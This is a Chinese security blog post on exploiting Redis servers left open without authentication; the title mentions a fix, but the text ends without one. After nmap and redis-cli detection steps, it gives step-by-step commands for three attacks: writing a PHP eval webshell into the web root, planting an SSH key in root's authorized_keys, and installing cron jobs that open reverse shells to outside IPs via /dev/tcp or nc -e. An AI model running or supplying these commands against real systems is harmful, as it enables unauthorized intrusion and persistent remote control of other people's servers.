Redis 未授权访问漏洞利用及修复

Thunder_sec

4057人浏览 · 2022-06-25 20:16:02

Thunder_sec · 2022-06-25 20:16:02 发布

漏洞简述

Redis 是一个高性能的 Key - Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。

检测方法

先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口

Nmap -A -p 6379 --script redis-info 192.168.10.153

Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下

./redis-cli -h 192.168.10.153
Info

批量检测脚本

https://github.com/code-scan/rescan

就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。

漏洞利用

1、网站写马

利用条件：

目标存在web目录
已知web绝对路径
存在写入权限
适用范围：windows，linux版本。
① 先用客户端连接服务器的 redis 服务

redis-cli.exe -h 目标IP

config set dir /var/www/html //此路径是服务器端 Web 网站的目录

③ 设置要写入的文件名

config set dbfilename redis88.php //redis88.php是一句话文件名称

④ 设置要写入的内容

set webshell "<?php @eval($_POST['123']); ?>" //webshell是名称，可以任意修改

⑤ 保存

save

⑥ 保存后用菜刀连接此木马得到 webshell。

2、结合ssh免密码登陆

利用条件：

root权限
开启了ssh密钥登录，存在/etc/.ssh目录
① 先在本地建个 ssh 的密钥

ssh-keygen -t rsa //生成公钥/私钥对

② 将公钥的内容写到一个文本中命令如下

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt //注意写到文件中时一定要在前面加几行后面加几行。

③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下

cat test.txt |redis-cli -h <hostname> -x set test //如果需要加入密码的话 -a 密码

④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下

redis-cli -h <hostname>

keys *

get test

⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。
修改保存的路径为

config set dir "/root/.ssh"

修改文件名为

config set dbfilename "authorized_keys"

保存

save

⑥ 测试一下

ssh 用户名@<IP地址>

3、利用contrab计划任务反弹shell

利用条件：

权限可写计划任务
使用范围：centos

config set dir /var/spool/cron

config set dbfilename root

flushall

set test "\n* * * * * /bin/bash -i >& /dev/tcp/10.1.1.211/1234 0>&1\n" //或者正向连接 "\n* * * * * nc -l -p 8994 -t -e /bin/bash \n"

save

备注：可以利用的cron的地方有如下几个地方

/etc/crontab 这个是肯定的
/etc/cron.d/ 将任意文件写到该目录，效果和crontab相同，格式也要和/etc/crontab相同。漏洞利用这个目录，可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centOS系统下root用户的cron文件

如果目标机器为ubuntu系统的话，将计划任务写成如下格式：因为ubuntu调用的不是bash，而是dash，参考文章：解决ubuntu crontab反弹shell失败的问题 · 大专栏

*/1 * * * * bash -c "bash -i >&/dev/tcp/123.207.x.x/1234 0>&1"